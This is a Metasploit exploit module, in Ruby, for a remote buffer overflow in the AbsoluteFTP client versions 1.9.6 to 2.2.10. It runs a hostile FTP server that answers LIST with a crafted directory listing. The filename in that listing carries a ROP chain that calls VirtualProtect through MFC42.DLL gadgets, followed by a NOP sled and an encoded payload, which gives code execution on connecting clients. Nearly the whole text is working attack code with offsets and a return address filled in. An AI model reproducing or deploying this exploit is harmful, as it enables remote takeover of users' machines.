# Exploit Title: AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)
# Date: 2011-11-09
# Author: Node
# Software Link: http://www.vandyke.com/pub/AbsoluteFTP/aftp2210.exe
# Version: 1.9.6 - 2.2.10
# Tested on: Windows XP SP3, Windows 7 SP1
# CVE : -

# Exploit has been tested to work on:

# AbsoluteFTP 2.2.10 (build 252)
# AbsoluteFTP 2.2.9 (build 248)
# AbsoluteFTP 2.2.8 (build 241)
# AbsoluteFTP 2.2.7 (build 238)
# AbsoluteFTP 2.2.6 (build 230)
# AbsoluteFTP 2.2.5 (build 225)
# AbsoluteFTP 2.2.4 (build 216)
# AbsoluteFTP 2.2.3 (build 210)
# AbsoluteFTP 2.2.2 (build 203)
# AbsoluteFTP 2.2 (build 197)
# AbsoluteFTP 2.2 (build 291)
# AbsoluteFTP 2.2B3 (build 163)
# AbsoluteFTP 2.2B2 (build 158)
# AbsoluteFTP 2.2B1 (build 144)
# AbsoluteFTP 2.0.5 (build 297)
# AbsoluteFTP 2.0.4 (build 293)
# AbsoluteFTP 2.0.3 (build 289)
# AbsoluteFTP 1.9.6

# Does not work on:

# AbsoluteFTP 1.8


##
# $Id: $
# Skeleton generated by mona.py - Corelan Team
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::FtpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)',
			'Description'	=> %q{
					This module exploits VanDyke Software AbsoluteFTP by overflowing
					a filename buffer related to the LIST command.
					
			},
			'License'		=> MSF_LICENSE,
			'Author'		=>
				[
					'Node',	# Original discovery, MSF module, ROP code
				],
			'Version'		=> '$Revision:$',
			'References'	=>
				[
					[ 'OSVDB', '---' ],
					[ 'CVE', '---' ],
					[ 'URL', '---' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars'        => "\x00\x0d\x5c\x2f\x0a", 
				},
			'Targets'		=>
				[
					[ 'WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252',
						{
							'Ret'   	=>	0x5f479005,
							'Offset'	=>	3336
						}
					],
				],
			'Privileged'	=> false,
			'DisclosureDate'	=> 'MONTH DAY YEAR',
			'DefaultTarget'	=> 0))

	end



	#copypasted from ScriptFTP exploit
	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_list(c,arg)

		conn = establish_data_connection(c)
		if(not conn)
			c.put("425 Can't build data connection\r\n")
			return
		end

		print_status(" - Data connection set up")
		code = 150
		c.put("#{code} Here comes the directory listing.\r\n")

		code = 226
		c.put("#{code} Directory send ok.\r\n")

	rop_gadgets = 
		[		
			0x5f46a206,	# POP EAX # RETN (MFC42.DLL)
			0x5f49b260,	# <- *&VirtualProtect() 
			0x5f413fa0,	# MOV EAX,DWORD PTR DS:[EAX] # RETN 04    ** [MFC42.DLL]
			0x5f418d93,	# PUSH EAX # ADD AL,5F # POP ESI # POP EBX # RETN    ** [MFC42.DLL]
			0x90909090,	# NOPS (RETN 4)
			0x90909090,	# NOPS (-> ebx)
			0x5f432001,	# POP EBP # RETN (MFC42.DLL)
			0x5F4774D5,	# ptr to 'jmp esp' (from MFC42.DLL)
			0x5f46a206,	# POP EAX # RETN (MFC42.DLL)
			0xfffffdff,	# value to negate, target value : 0x00000201, target reg : ebx #<--ADJUST ME FOR BIGGER PAYLOAD
			0x5f46f6dd,	# NEG EAX # RETN (MFC42.DLL)
			0x5f47909a,	# XCHG EAX,EBX # DEC EDX # POP EDI # RETN (MFC42.DLL)
			0x90909090,	# NOPS (-> edi)
			0x5f498456,	# POP ECX # RETN (MFC42.DLL)
			0x5F4D1115,	# RW pointer (lpOldProtect) (-> ecx) !!!
			0x5f46a206,	# POP EAX # RETN (MFC42.DLL)
			0xffffffc0,	# value to negate, target value : 0x00000040, target reg : edx
			0x5f46f6dd,	# NEG EAX # RETN (MFC42.DLL)
			0x5f4892df,	# XCHG EAX,EDX # DEC EAX # POP EDI # RETN (MFC42.DLL)
			0x5f479005,	# ROP NOP (-> edi)
			0x5f46a206,	# POP EAX # RETN (MFC42.DLL)
			0x90909090,	# NOPS (-> eax)
			0x5f4755b8,	# PUSHAD # RETN (MFC42.DLL)
		].pack("V*")


		buffer = [0x5f479005].pack("V*")*848 #ROP NOP's				
		buffer << rop_gadgets
		buffer << "\x90"*30
		buffer << payload.encoded
		

		#copypasted from ScriptFTP exploit
		print_status(" - Sending directory list via data connection")
		dirlist =  "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
		dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
		dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"

		conn.put(dirlist)
		conn.close
		return
	end

end